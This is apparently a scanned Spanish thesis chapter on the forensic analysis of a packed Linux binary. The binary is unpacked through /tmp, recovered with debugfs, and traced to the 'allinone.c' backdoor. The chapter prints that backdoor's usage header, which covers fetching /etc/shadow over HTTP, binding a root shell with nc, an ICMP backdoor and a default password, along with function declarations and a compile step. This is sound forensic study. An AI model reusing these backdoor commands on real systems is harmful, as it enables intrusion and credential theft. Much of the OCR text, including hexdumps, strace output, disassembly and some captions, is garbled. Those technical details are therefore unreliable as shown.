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lew Terminal Help

Figura 4.2-15 Comando gdb

Ahora se utiliz6 el comando disassemble el cual desensambla por defecto la funcién
en la que se encuentra la préxima instruccion a ejecutar. Sin embargo, es posible

especificar un rango de direcciones a desensamblar.
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Figura 4.2-16 Comando disassemble

Se procedio a colocar otro breakpoint, pero esa vez se lo coloca en la funcion main,
se manda a ejecutar el binario, encuentra el primer break, para proseguir con la
ejecucion se utiliza el comando continue hasta que encuentre otro breakpoint o

finalize la ejecucion del binario.
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le Edit View Terminal Help

1

Figura 4.2-17 breakpoint

Otro comando que se puede utilizar cuando se esta ejecutando el binario es where,
no indicara la direccién de donde nos encontramos cuando se encuentre con un

punto de quiebre.



File Edit View Terminal Help

Figura 4.2-19 Comando where
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4.3 ANALISIS DEL ARCHIVO AIO

4.3.1 INTEGRIDAD DEL ARCHIVO AIO

Antes de comenzar a trabajar con el archivo AlO se le realiz6 respectivamente el

md>5.

File Edit View Terminal Help

:~/Desktop# s
backtrack-install.desktop CASO 6 - FORENSIC TOOL ANALYSIS (LINUX)
ASE Tesis A&P-2012-05-01.tar:gz
:~/Desktop# cd CASE
:~/Desktop/CASE# 1s
AT0 HELLO HELLO.C md5sumHELLO.txt
:~/Desktop/CASE# md5sum AIO > md5sumAIQ.tXt
:~/Desktop/CASE#

Figura 4.3-1 Comando md5sum
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4.3.2 CONTENIDO DEL ARCHIVO AIO

4.3.2.1 COMANDO LS -AL

Este comando nos permite visualizar el tamafio de archivo en bytes, los permisos

gue tiene y fecha de creacién

File Edit View Terminal Help
:~/Desktop/CASE# 1s -al AIO
r-- 1 root root 12641 2005-05-02 08:04 AIO
:~/Desktop/CASE# ]

Figura 4.3-2 Comando Is -al

4.3.2.2 COMANDO FILE
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Al ejecutar este comando se puede apreciar lo siguiente:

File Edit View Terminal Help
TE

Figura 4.3-3 Comando file

Es un binario de arquitectura |1A-32, enlazado estaticamente, que nos da una
informacion importante las cabeceras fueron manipuladas ya que se encuentran

corruptas.
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4.3.2.3 COMANDO STRINGS -A

File Edit View Terminal Help

Figura 4.3-4 Comando strings -a

Se puede observar el contenido del archivo AIO, solo aparecen fragmentos de

estos.

Una evidencia muy importante que aporto este comando nos revela que este

archivo fue creado en un servidor web.
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|
| File Edit View Terminal Help

TTP/1.1 464 N{
ot Foun=Dat'M5, 1
v]aW2002 03:19:55 GMT

Figura 4.3-5 Comando strings —a
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4.3.2.4 COMANDO HEXDUMP -C -v

ile Edit View Termina

Figura 4.3-6 Comando hexdump -C -v

Los primeros 16 bytes representan el campo magico o también llamada area de

cabecera ELF, por defecto el campo mégico deberia llevar la siguiente estructura:

00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............ |
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Pero en el archivo AlO se observa la siguiente estructura:

00000000 7f 45 4c 46 01 01 01 00 4c 69 6e 75 78 00 00 00 |.ELF....Linux...|

En el campo magico se ha insertado la palabra Linux, también se pudo apreciar que

hay muchos espacios.

Otra informacion importante que pudo aportar con este comando fue que el archivo

binario utiliza el directorio /tmp.

¢

90000598 2f 74 6d 70 2f 75 70 78 41 41 41 41 41 41 41 41 |/tmp/upxAAAAAAAA

000065a6 41 41 41 00 06 €0 66 66 D0 70 00 60 63 60 6O 00 )

Figura 4.3-7 Comando hexdump -C -v
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4.3.2.5 COMANDO READELF -FILE-HEADER

Este comando nos permite ver las secciones de la cabecera del archivo, informacién

relevante que se puede observar es:

v Tiene un punto de entrada 0x8048080.
v No tiene seccion de cabecera.

v' Tiene dos cabeceras de programas cargados.

File Edit View Terminal Help

Figura 4.3-8 Comando readelf —file -header
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4.3.2.6 COMANDO READELF - - SECTION -HEADERS

Con este comando se demostrara que no existen secciones de cabeceras

File Edit View Terminal Help

Figura 4.3-9 Comando -- section —headers
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4.3.2.7 READELF --PROGRAM -HEADERS

Con este comando se observd que las cabeceras de los programas que han sido

cargados.

Edit View Terminal Help

TECTCH rondal €

TESIS# reade

Ftogwalign
0x00590 R E 9x100(

) C RN BX1006

Figura 4.3-10 Comando --program —headers

Efectivamente hay dos programas, ambos son de tipo LOAD (cargados en
memoaria), el primer segmento representa los datos que comienzan en 0x000000,

tiene permisos de lectura y ejecucion.
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El segundo segmento comienza en 0x000590, tiene permisos de lectura y escritura.

4.3.2.8 COMANDO OBJDUMP --DISASSEMBLE

File Edit View Terminal Help

~/TESIS# objdump --disassemt

Figura 4.3-11 Comando objdump -- disassemble

Este comando no aporté mucha informacion.
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4.3.2.9 COMANDO STRACE

Nuestro siguiente paso en nuestro analisis del archivo ejecutable AlO fue utilizar el
comando strace, con las opciones —o (guardar en un archivo de texto) y —x para

mostrar los no strings ASCII en hexadecimal, lo que se mostré fue lo siguiente:

File Edit View Terminal Help

:~/TESIS

Figura 4.3-12 Comando strace -0
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Nos pide que ingresemos una contrasefia, digitamos cualquier cosa porque no
sabemos cual sera esa contrasefia, como esta contrasefia esta incorrecta la

ejecucion del programa finaliza.

Ahora observaremos el archivo de texto generado al momento de ejecutar el

comando strace con la opcion -o:

e ——

getpid() = 1382 » 1
open("/proc/1382/exe", 0 RDONLY) =3

lseek(3, 1468, SEEK SET) = 1468

read(3, "\x94\x2c\x15\x5b\x7d\x63\x00\x00\x7d\x63\x60\x00", 12) = 12

gettimeofday({1338306050, 503675}, NULL) = © » 2
unlink("/tmp/upxADWWDSXABLG") = -1 ENOENT (No such file or directory)
open("/tmp/upxADWWDSXABLG", O WRONLY|O CREAT|0 EXCL, ©760) = 4

ftruncate(4, 25469) =80

old mmap(NULL, 28672, PROT READ|PROT WRITE, MAP PRIVATE|MAP_ANONYMOUS, -1, ©x80495a4096e€020) =
0xb77a3000

read(3, "\x7d\x63\x00\x00\x69\x2b\x00\x00", 8) = 8

read(3, "\x7F\x3f\x64\xT9\x7f\x45\x4c\x46\x01\x00\x02\x00\x03\x00\x0d\x80\x8e\x04\xFd\x6f\xb3
\xdd\x08\x34\x07\x40\x4e\x17\x0b\x20\x00\x86"..., 11113) = 11113

write(4, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01
\x00\x00\x00\x80\x8e\x04\x08\x34\x00\x00\x00"..., 25469) = 25469

read(3, "\x00\x00\x00\x00\x55\x50\x58\x21", 8) = 8

munmap (0xb77a3000, 28672) =0

close(4) =0 3
close(3) =0 —>
open("/tmp/upxADWWDSXABLG", O RDONLY) = 3

access("/proc/1382/fd/3", R _OK|X OK) =0

unlink("/tmp/upxADWWDSXABLG") =0 W 4

fcentl(3, F SETFD, FD CLOEXEC) =0 g
execve("/proc/1382/fd/3", ["./AI0"], [/* 32 vars */]) = ©

brk(®) = 0x9852000

access("/etc/1d.so.nohwcap”, F _OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT READ|PROT WRITE, MAP PRIVATE|MAP ANONYMOUS, -1, 0) = 0xb77dfeee
access("/etc/ld.so.preload", R OK) = -1 ENOENT (No such file or directory)
open("/etc/1d.so.cache”, 0 RDONLY) =3

fstat64(3, {st mode=S IFREG|0644, st size=69890, ...}) =0

mmap2(NULL, 69890, PROT READ, MAP PRIVATE, 3, ©) = 0xb77cdeee

close(3) =0

access("/etc/ld.so.nohwcap", F _OK) = -1 ENOENT (No such file or directory)

open("/lib/tls/1686/cmov/libpthread.so0.0", 0 RDONLY) = 3

Figura 4.3-13 Comando strace -0
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rstat

read(o,

write(l, "You entered an Incorrect Passwor®*..., 47) = 47
exit group(e) =

64(0, {st mode=S IFCHR|0620, st rdev=makedev(136, ©), ...}) = ©
mmap2{NULL, 4696, PROT READ|PROT WRITE, MAP PRIVATE|MAP ANONYMOUS, -1, 8) = 6xb77ddeee
write(l, "Enter Password: ", 16) 1

6

"N

& -

"aaa\n", 1024)

)

1)

2)

Figura 4.3-14 Comando strace -0

Se observa que el archivo AlIO es ejecutado, con el nimero de proceso
1382, luego al archivo /proc/1382/exe se le asigna un descriptor de archivo 3
y se encuentra abierto y en modo lectura.

Cabe mencionar que proc es una interface del kernel para la estructura de
datos y los descriptores de archivo se refieren a archivos, directorios,

dispositivos de bloques o dispositivos de caracteres, sockets.

Luego un Iseek es ejecutado en este archivo reposicionando 1.468 bytes
dentro del archivo, donde 12 bytes son leidos, no sabemos porque estos 12
bytes fueron leidos, después un gettimeofday es ejecutado y trata de
desvincular el archivo /tmp/upxADWWDSXABLG, luego este archivo es
abierto con un descriptor de archivo 4, luego este archivo es truncado con un
tamafo de 25.469 bytes.

La llamada gettimeofday puede ser parte de un generador de nombre de
archivos pseudoaleatorio, ya que al momento de volver a ejecutar el
comando strace el directorio /tmp y las tres primeras del archivo siguen

iguales, pero el resto del nombre del archivo cambia.


http://es.wikipedia.org/wiki/Socket
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File Edit View Terminal Help

d/tmp/upxDYLe

Figura 4.3-15 Comando strace -0

3) Continuando con el analisis se observa que 11.113 bytes del archivo
/proc/1382/exe son leidos, luego 25.469 bytes son escritos con un descriptor
de archivo 4.
Luego el archivo /proc/1382/exe se le asigna un descriptor de archivo 3, se
cierra y ahora el archivo /tmp/upxADWWDSXABLG se le asigna un

descriptor de archivo 3, se desvincula el /tmp/upxADWWDSXABLG y por
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ultimo se hace una llamada de ejecucion al archivo /proc/1382/fd/3,

ejecutandose y cargadndose completamente.

4) Luego las librerias compartidas son cargadas y los datos son cargados
dentro de la memoria, después nos aparece el prompt pidiéndonos una
contrasefia y por Ultimo muestra que la contrasefia ingresada es incorrecta y

el programa se cierra.

Un aporte importante que nos dejo este comando fue que un archivo se encontraba

empaquetado dentro de otro.

El esquema de binarios comprimidos o empaquetados dentro de otro es una técnica
habitual para la construccién de malware, que introduce complejidad en el andlisis

forense.
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4.3.2.10 COMANDO GDB

Este comando nos dard mas informacion acerca del binario en tiempo de ejecucion.

File Edit View Terminal Help

TESIS# gdb AIO

Figura 4.3-16 Comando gdb
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Como se observa no existe ninguna funcién, para asegurarnos de esto se intentd
colocar un break en el main, no se pudo conseguir ninguna pista con estos

comandos.

no debugging symbols

te type &1§82-

Figura 4.3-17 Comando gdb -file
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Luego utilizamos el comando file para que nos muestre informacién del archivo que
actualmente se esta utilizando, actualmente no hay cargado ningun archivo,
mandamos a cargar el archivo AlO, y luego se coloca el comando file AIO que nos

muestra informacién del archivo que actualmente se esta ejecutando.

Este archivo tiene un punto de entrada 0x8048080, se pone un break en este punto
de entrada para poner analizarlo correctamente, ejecutamos con el comando run,
este se ejecuta pero ignora el break y se sigue ejecutando hasta pedirnos una
contrasefia, salimos del programa con la teclas control + z y vemos que el programa

recibe una sefnal de detenerse.

Ejecutamos el comando print $pc para saber hasta donde se quedé el contador del
depurador, como se puede apreciar este marca 0xb7706424, el mismo namero que

arrojé cuando se presionaron las teclas control + z y se detuvo el programa.

Nuestro proximo paso fue desamblar un rango que fue desde O0xb7706400 hasta

0xb7706424 y es lo que se muestra a continuacion:
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File Edit View Terming

Figura 4.3-18 Comando disassemble

Identificamos que hay una interrupcion 0x80 que es una llamada al sistema de

servicios

Por dltimo realizamos un volcado de memoria con el comando gcore que es un
registro no estructurado del contenido de la memoria en un momento determinado,
generalmente utilizado para depurar un programa que ha finalizado su ejecucion

incorrectamente.


http://es.wikipedia.org/wiki/Memoria_de_ordenador
http://es.wikipedia.org/wiki/Depuraci%C3%B3n_de_programas

68

View Terminal Help

TESIS# qdl

6.6

1le core. 1483

Figura 4.3-19 Comando gdb - gcore

En este caso 1483 es el PID y el archivo core .1483 contiene la memoria del AlO.

Este archivo core nos ayudd en nuestro analisis, anteriormente se usé el comando
strings para ver el contenido del archivo AIO y se mostraba desordenado e

incomprensible, utilizando el archivo core se mostroé lo siguiente:
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File Edit View Terminal Help

Figura 4.3-20 Comando strings —a core.1483

La informacién se muestra de una manera legible y ordenada.
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4.3.3 RECUPERACION DEL ARCHIVO BORRADO
En esta parte de nuestro analisis forense se tratara de recuperar el archivo que se
desvincula o borra, esto se pudo apreciar con el comando strace. Linux tiene

incorporado un sistema de recuperacion de archivos llamado debugfs.[18][19

Lo primero que se hara sera tener ejecutado el archivo .AlO

Figura 4.3-21 Ejecucion archivo AlIO
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El programa se encuentra detenido hasta que se ingrese una contrasefa, ahora en
otra terminal ejecutamos el comando Isof, comando que se encarga de mostrar una
extensa lista de todos los archivos abiertos, ejecutamos este comando en la ruta
f/usr/sbin, es en este directorio donde se encuentra cualquier binario no esencial

utilizado exclusivamente por el administrador del sistema.

Utilizamos el comando Isof con la opcién +L1, esta opcién nos permitira ver todos
los archivos que tengan enlaces con 0, si se utiliza la opcion +L1 mostrara archivos

con enlaces O u 1, y asi sucesivamente.

3 1481 root tt EG o3 25469 © 1849928 /tmp/upxDFDLBIBABO] (deleted)

:/usr/sbin#

Figura 4.3-22 Comando Isof+L1
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Como se muestra en la pantalla hay muchos archivos que se encuentran borrados o
desvinculados, pero hay uno en especial que nos llama la atencién, un archivo con

un tamafo 25.469,

Anteriormente se encontré un archivo del mismo tamafio, este archivo se ha
ejecutado en el directorio /tmp, ademas tiene un numero de proceso 1481, asociado
con un inodo 1849928, cabe recalcar que un inodo es una estructura del sistema de
archivos que contiene informacion acerca de un archivo, como tipo de archivo y sus
permisos, numero con que esta vinculado, identificador de usuario (UID), identificar

de grupo (GID), tamafio, fecha de modificacién, etc.

Nuestro siguiente paso sera montar un dispositivo en el cual se almacenara nuestro
archivo recuperado, en este caso utilizaremos un pen —drive, el sistema operativo lo

detecta como /dev/sdbl.
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Edit View Terminal Help

Figura 4.3-23 Comando fdisk -I

Luego habra que montarlo, esto se lo realiza con el comando mount, con la opcién
de wr, lectura y escritura, se lo monta en el directorio /mnt, verificamos que esta

montado correctamente con el comando df —h.
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File Edit View Terminal Help

nount

Figura 4.3-24 Comando mount —o rw /dev/sdbl /mnt

Se procede a ejecutar el comando debugfs junto con la ruta de sistema de archivo
en este caso /dev/sdal, luego se utiliz6 la opcion dump que ayudard a recuperar el
inodo del archivo borrado, entre los signos se debe poner el numero de inodo para
este caso ese numero es 1849928, este archivo recuperado se almacenara en

nuestro pen-drive con el nombre de Tesis_AIO.bin.
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Verificamos que nuestro archivo se ha creado, utilizamos el comando file para ver
que tipo de caracteristicas tiene el archivo , y por Gltimo se ejecuta md5sum para

mantener la integridad del archivo creado

Edit View Terminal Help

[root@bt: ~/TESIS] 1 root@bt: /mnt
Figura 4.3-25 Comando file y md5sum
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4.4 ANALISIS DEL ARCHIVO RECUPERADO

Una vez recuperado el archivo, usamos el comando md5sum para mantener su

integridad, luego se procedi6 con su respectivo analisis.

Lo primero fue ejecutar el comando file para verificar que tipo de archivo se habia

recuperado.

File Edit View Terminal Help

TE {Ssum Te

Figura 4.4-1 Integridad del archivo Recuperado
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Es un archivo ELF ejecutable de 32 bits, dinamicamente enlazado, arquitectura Intel

80386.

Luego se ejecutd el comando strings —a, para revisar su contenido, se mostré en

pantalla lo siguiente:

setegid
setuid

gmon start
GLIBC 2.1

Content-type: text/html

HTTP/1.1 404 Not Found

Date: Mon, 14 Jan 2002 03:19:55 GMT

Server: Apache/1.3.22 (Unix)

Connection: close

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 4.0//EN">
[<HTML><HEAD>

<TITLE>404 Not Found</TITLE>

</HEAD><BODY>

<H1>Not Found</H1>

The requested URL was not found on this server.<P>
i<HR>

<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>
</BODY></HTML>

Content-type: text/html

<html>

<head><title>Bind Shell ok.:)</title></head>

<body bgcolor="#000000">
<div align="center"><p>

Figura 4.4-2 Contenido del archivo recuperado
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Como se pudo mostrar anteriormente este archivo tiene capacidades de servidor

Web.

icmp shell
read file
chdir@@GLIBC 2.0
strstr@@GLIBC 2.0
strlen@@GLIBC 2.0
bind shell

Figura 4.4-3 Capacidades del archivo AIO
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Tiene la caracteristica de leer archivos bindshell, que quiere decir que asigna la
shell a un puerto especifico, 0 sea que abre un puerto de la maquina de la victima
para que el atacante se conecte ahi y por ultimo capacidades icmp Shell que
permite al atacante conectarse a un host remoto y abrir un shell usando sélo icmp

para enviar y recibir datos.

PATH=/bin:/sbin:/usr/bin: /usr/sbin:/usr/local/bin: /usr/local/sbin:.
kissme:)

bindport

socks

lgivemeshell

HTTP

givemefile

Enter Your password:

[========Welcome to http://www.cnhonker.com========
[=========You got it, have a goodluck. :)=========
lYour command:

/bin/sh

icmp

Enter Password:

Password accepted!

You entered an Incorrect Password. Exiting...

GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.8 3.2-7)
GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.6 3.2-7)
GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.8 3.2-7)
GCC: (GNU) 3.2 20020963 (Red Hat Linux 8.0 3.2-7)
GCC: (GNU) 3.2 20020963 (Red Hat Linux 8.0 3.2-7)

| 10 stdin used
/usr/src/build/148620-1386/BUILD/glibc-2.2.93/csu
IGNU AS 2.13.96.0.2

/usr/src/build/148620-1386/BUILD/glibc-2.2.93/csu
IGNU AS 2.13.96.0.2 I

Figura 4.4-4 Referencia de pagina
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También hace referencia a una pagina web http://www.cnhonker.com.Accedimos a
esa pagina web pero estaba en lenguaje chino con lo cual ho se pudo sacar ninguna

informacion.
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Figura 4.4-6 allinone2.c

Se mostré un archivo llamado allinone2.c

Luego se utilizé el comando hexdump con la opcién —-C
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55

Po

Figura 4.4-7 Comando hexdump --C

El campo magico nos asegura que es un archivo ELF
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v Terminal

90062ed0O
beee2eed

Figura 4.4-8 Comando hexdump -- C

Como se menciond anteriormente este archivo recuperado tiene capacidades de

robar archivos, bindshell, etc.
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File Edit View Terminal Help

1nd@@GLIBC 2

Figura 4.4-9 Comando nm

Se utilizé el comando nm, se observa cédigo denominado icmp_shell, bind_shell
entre otros(capacidades mencionadas anteriormente), algo que llamo la atencion fue
observar algo denominado get_password que puede ser una parte del cédigo que

se encargue de robar contrasefias.
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Utilizamos el comando Idd para ver las librerias utilizadas

File Edit View Terminal Help

Figura 4.4-10 Comando ldd

Muestra que también esta enlazado con la libreria pthread.



86

Ejecutando el comando readelf -- file-header muestra lo siguiente:

View Terminal Help

TESIS# re

Figura 4.4-11 Comando readelf -- file - header

Cabe recalcar que esta informacién es muy parecida al del archivo HELLO, excepto

por la direccién del punto de entrada.
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Ejecutando el comando readelf—section-headers muestra las secciones de

cabeceras desde 0 hasta 33, con un total de 34.

Lo mostrado en pantalla es idéntico a lo que se mostr6 con el archivo HELLO

File Edit View Terminal }

Figura 4.4-12 Comando readelf — section -headers
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Se ejecuto el comando readelf -- syms y mostré lo siguiente:

101 180488 0 FUN(

L ( : [ ‘HVT 12 1 -
102: 0804912 224 FUNC GLOBAL DEFAULT 12 icmp shell
103: 08049442 1792 FUNC GLOBAL DEFAULT 12 read file ]

0804 ) 5 D LT

Figura 4.4-13 Comando readelf -- syms

Muestra las funciones que puede invocar este archivo (icmp_shell, etc.) que seran

ejecutados en la maquina de la victima.
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.

L

l
L
L

l

135: 08048e0 141 FUN DEFA D st

136: 0804a8le 189 FUNC GLOBAL DEFAULT 12 get password
0 E LD T UND fo 2
2 _ ( T JND dug ;

Figura 4.4-14 Comando readelf -- syms

Muestra una vez mas la funcion get password que a lo mejor puede robar

contrasefias pero aun no hemos demostrado eso.
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4.4.1 ALLINONE2.C

Con la informacion mostrada anteriormente de un archivo llamado allinone2.c, se
buscé en internet alguna publicacion o descripcién de este archivo, pero sélo se
encontré informacién referente a allinone.c, con lo que allinone2.c podria ser una

variante o una modificacién de allinone.c.

Allinone.c es un backdoor de un servidor http, un servidor de sockets de
transmisién, un backdoor de shell, un backdoo ricmp, un backdoor bindshell, un http
shell, copia archivos desde el host remoto. Descargamos el archivo allinone.cy

examinamos su contenido y se mostré lo siguiente:[20]

/Ax-:mtin.xiiiixnxxnxtnnxntiii1ltttnn.xtn‘iix.xtttnxx-txi-Axxtxzn.x-tx:li.-

.
*
*

*
*
*
*
*
*
»
*
*
*
*
*
*
»
*
*
*
*
*
*
*
*
*
=
*
»
*
*
*
*

allinone.c for HUC (2002.1)

allinone.c is

Http server,

sockets transmit server,

shell backdoor,

icmp backdoor,

bind shell backdoor,

a like http shell,

it can translate file from remote host,
it can give you a socks5 proxy, |

it can use for to attack, jumps the extension, Visits other machines.
it can give you a root shell.:)

O oo oo

Usage:

compile:

gcc -o allinone allinone.c -1lpthread
run on target:

./allinone

1.httpd server
Client:
http://target:8008/givemefile/etc/passwd

lynx -dump http://target:8008/givemefile/etc/shadow > shadow
or wget http://target:8008/givemefile/etc/shadow

2.icmp backdoor

Client:

ping -1 101 target (on windows)

ping -s 101 -c 4 target (on linux)

nc target 8080 1
kissme:) --> your password

3.shell backdoor

Figura 4.4-15 Contenido allinone.c
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v' En los comentarios da una breve descripciéon de lo que es y lo que realiza
dicho archivo.

v' Este archivo tiene las capacidades mencionadas anteriormente (web server,
icmpshell, bindshell, etc.).

v" Muestra las diferentes maneras de conexién con la victima.

v' Todo este cadigo fue creado por una persona con alias Lion, tal vez él sea el

creador de la pagina www.cnhonker.com.

3.shell backdoor

Client:
nc target 8008
kissme:) --> your password

4.bind a root shell on your port
Client:
http://target:8008/bindport:9999
nc target 9999

kissme:) --> your password

5.sockets transmit
Client:

Itp,zztacggz,ﬁﬂﬂﬁzsgg sz,lggal llsten port you want to tran ip:::you want to tran port
target:8008/socks !

nc target 1080

6.http shell
Client:

http://target:8008/givemeshell:1s -al (no pipe)

ps:
All bind shell have a passwd, default is: kissme:)

All bind shell will close, if Two minutes do not have the connection.
All bind shell only can use one time until reactivates.

Code by lion, e-mail: lion@cnhonker.net
Welcome to HUC Website, Htitp://www.cnhonker.com

Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) T
Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.

.tiii“".lt*‘.tttnl‘t‘llt‘.l‘t*‘lt‘lll.*’l‘t"l“ii.lt"l“#!ltt‘l.t*‘-/

Figura 4.4-16 Contenido allinone.c
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\I———— TUU gUT IC, Nave d guoutucK, ) =—\T \[I\T \TTOUT Commana, \o

#define GIVEPASS "\r\nEnter Your password: \0"

#define max(a, b) (a)>(b)?(a) : (b)

int maxfd, infd, outfd;

unsigned char ret buf[32768]; '
int daemon_init(); /* init the daemon, if success return © other <@ */

void sig chid(); /* wait the child die */

int TCP listen(); /* success return 1 else return -1 */

char* read file(); /* return the file content as a large string, buf value like
GET /index.html HTTP:/1.1 */

ssize t writen file(); /* writen data to socket */

int bind shell(); /* bind a root shell to a port */

int get shell(); /* get me the root shell */

int icmp shell(); /* icmp backdoor */

int socks(); /* socks */

int create socket();

int create serv();

int client _connect();

int quit();

void out2in();

char x2c(); /* http shell */
void unescape url();

void plustospace();

/* The main function from here */
int main(int argc, char *argv[])
{

int fd, len, i, icmp;

int csocket;

struct sockaddr_in caddr;
rhar readstrldnnAl -

Figura 4.4-17 Contenido allinone.c

v' El archivo mostro los nombres de las funciones mostradas en la figura.



93

Compararemos estas funciones con las que se encuentran en el archivo que se

recupero, se ejecutd el comando nm.

N

Applications Places System [5_| @ [4 Monjun 18, 9:13 AM

File Edit View Search Tools Documents Help

.r_'.
o Omen v Clsave )

allinone.c # ~ v % root@bt: ~/TESIS
s TR iR Sk 2 t View Terminal Help

g

QS

int maxfd, infd, outfd;

unsigned char ret buf[32768];

int daemon_init(); s 0 .
void sig chid(); - .
int m‘i Listen():
char* read file(); sddeiid

GET /index.html HTTP:/1.1 */

ssize t writen file();

int bind shell();

int get shell();

int icmp shell();

int socks();

int create socket();

int create serv();

int client connect();

int quit();

void out2in();

char x2c();

void unescape url();

void plustospace();

™ [~ root@bt: ~/TESIS @ TESIS - File Browser E allinone.c (~/TESIS) - g... [

Figura 4.4-18 Comparacion de funciones

v" Como se puede observar la Unica funcién afiadida al archivo que se

recupero fue get_password.
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Applications Places System [5_ | | | Mon Jun 18, 9:25 AM

Search Tools Documents Help

x root@bt: ~/TESIS
Edit View Terminal Help

int maxfd, infd, outfd;
unsigned char ret buf[32768];

GET /index.html HTTP:/1.1 */
ssize t writen file();

int daemon init();

void sig chid(); 2.
int TCP listen(); 804 $ T socks

char* read file(); ¢

int bind shell();
int get shell();

int icmp shell();
int socks();

int create socket();
int create serv();
int client connect();
int quit();

void out2in();

char x2c();

void unescape url();
void plustospace();

™ [ root@bt: ~/TESIS " TESIS - File Browser K allinone.c (~/TESIS) - g... =

Figura 4.4-19 Comparacion de funciones

v' Otro aporte importante que notamos fue que variables globales fueron

agregadas en el archivo que se recupero.

Es evidente que se utilizd6 una modificacion de allinone.c para crear Tesis_AlO.bin
(archivo recuperado), pero todavia tenemos que comparar la implementacién de las

funciones ademas de su nombre.
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Mon jun 18, 9:55 AM

allinone.c 8 ’

d SNeCL Uackaoor,

a icmp backdoor,

a bind shell backdoor,

a like http shell,

it can translate file from remote host,

it can give you a socks5 proxy,

it can use for to attack, jumps the extension, Visits other machines.
it can give you a rfiot shell.:)

Usage:
compile:

gcc -0 allinone allinone.c -1lpthread
run on target:
./allinone

1.httpd server

Client:

http://target:8008/givemefile/etc/passwd

lynx -dump http://target:8008/givemefile/etc/shadow > shadow
or wget http://target:8008/givemefile/etc/shadow

2.icmp backdoor
Client:
ping -1 101 target (on windows)

C v | TabWidth: 8 v Ln18,Col 3

) root@bt: ~/TESIS ® TESIS - File Browser E: allinone.c (~/TESIS) - g... E

Figura 4.4-20 Compilacién de allinone.c

v El archivo allinone.c muestra la manera en que debe ser compilado.

INS
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El comando gcc sirve para compilar archivos, la opcion —o es para darle un nombre
al archivo compilado, la opcién —Ipthread hara que esta compilacién se enlace con la
libreria pthreads, esta libreria nos permite trabajar con distintos hilos de ejecucién

(threads) al mismo tiempo.

Un hilo es la unidad de procesamiento mas pequefia que puede ser planificada por
un sistema operativo, es una tarea que puede ser ejecutada en paralelo con otra

tarea.

Crear un hilo permitird a una aplicacion realizar varias tareas a la vez.

Figura 4.4-21 Comando gcc -0
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Esta figura muestra que el archivo fue compilado correctamente, aunque muestra

algunas advertencias.

Utilizamos el comando md5sum para mantener la integridad del archivo

~ v X root@bt: ~/TESIS
File Edit View Terminal Help

:~/TESIS# md5sum allinone > md5sumallinone.txt
:~/TESIS# |}

Figura 4.4-22 Comando md5sum allinone.c



98

4.4.2 DIFERENCIAS ENTRE ALLINONE Y TESIS_AION.BIN

Siguiendo con el andlisis de nuestra evidencia nos enfocaremos en la diferencias

entre estos dos archivos.

Utilizaremos el comando objdump —d para desamblar ambos archivos y analizar la

funcién main para ver si en realidad la funcién get_password es invocada.

El comando se ejecuto en el archivo allinone mostrandonos lo siguiente:

File Edit View Terminal Help
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Luego se ejecuté el comando al archivo recuperado (Tesis_AlO.bin) mostrando lo

siguiente:

File Edit View Terminal Help

08048130 <main>:
8048730:
8048f131:
8048f133:
8048f39:
8048f3c:
8048141:
8048743:

8048146: ag 04 o8 push  $0x804a940

804814b: 68 40 c2 04 08 push  $0x804c240

8048150: e8 1b ff ff ff call 8048e70 <strcpy@plt>

8048155: 83 c4 10 add $0x10,%esp

8048158: 83 ec 08 sub $0x8,%esp

8048f5b: 68 40 a9 04 08 pl:I’Jh $0x804a940

804860: 68 ad 42 05 08 push  $0x80542a0

8048165: e8 06 ff ff ff call 8048e70 <strcpy@plt>

8048f6a: 83 c4 10 add $0x10,%esp

804876d: c6 05 40 c2 04 08 4a movb  $0x4a,0x804c240

8048174: c6 05 41 c2 04 08 42 movb  $0x42,0x804c241

804817b: c6 05 42 c2 04 8 52  movb  $0x52,0x804c242 ]
8048782: c6 05 43 c2 04 08 00 movb  $0x0,0x804c243 m
8048189: c6 05 00 43 05 08 5b movb  $6x5b,0x8054300 L
8048190: c6 05 01 43 05 08 53 movb  $6x53,0x8054301 v

Figura 4.4-24 Comando objdump --d

v' La primeras lineas son parecidas al del archivo allinone, pero comienzan a
ser diferentes desde donde se encuentra resaltado.

v Los cambios comienzan desde la direccion 0x804a940.



File Edit View Terminal

w W

8000@OOQOOOQOOOOOOOOOOOOQOOOOQOO@OO"

WeoWewuwuweweoWwww wWwww

wewLWLww
e R v Re R Rl v Ry v Re R el v iy gv Re e e v v e Re e e R R v e e el

£5655680888358868885506885883588888858868885888

PG GEERGRGREERRREREERRRRGEHRERRERGEERS

RN N R RN NN ER PV EESERRUNEERPEREPERS

R R R R R RRBRERREERERRREREy

EPNORER I LB RN S PN NERRNNEIRNITREREE
3

Help

$0x54, 028054316
$Bxa, 828854317

$0x61,8x805431c
$8x74,0x805431d
$8x26, BxB05431e
$Exd3, 8xB05431F
$ex6f, 8x8854320
$8x6d, 8x8054321

$Oxbic, 8x8054323
$0x65, 0xB054324
$8x74,0x8054325
$Bx65, 8x80854326
$8x21, 8x8054327
$8xa, BxB054328
$0:8, x8054329
88daBle <get password>

Figura 4.4-25 Comando get_password
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v' Esta gréfica demuestra que la funcion get_password es utilizada por este

archivo.

A continuacién se analizardn esa lineas de mas que aparecen en el archivo

recuperado.

Comenzaremos con la primera linea que corresponde a la direccion 0x804a940.
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|| 8048746 68 40 a9 04 08 push  $6x804a940

Figura 4.4-26 Andlisis de direccion

Ejecutamos el comando readelf —section-headers, para analizar que esta

almacenado en la direccion 0x804a940 que se menciond anteriormente.

Applications Places System [5 | | Wed Jun 20, 12:18 PM
% root@bt: ~/TESIS

w Terminal Helg

3042900 002900 BOOE

098042920 002920

2

Figura 4.4-27 Analisis de direccion
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v' La direccion 0x804a940 tiene un valor aproximado con la seccion .rodata,

con lo que este valor corresponde a esta seccion.

Ahora analizaremos la seccién .rodata, para esto utilizamos el comando objdump —s

Eart View Terminal Help

‘o [TESTS# 1

Jior UU

Figura 4.4-28 Andlisis de direccion

Con este comando aparecera todas las secciones pero nosotros nos enfocaremos

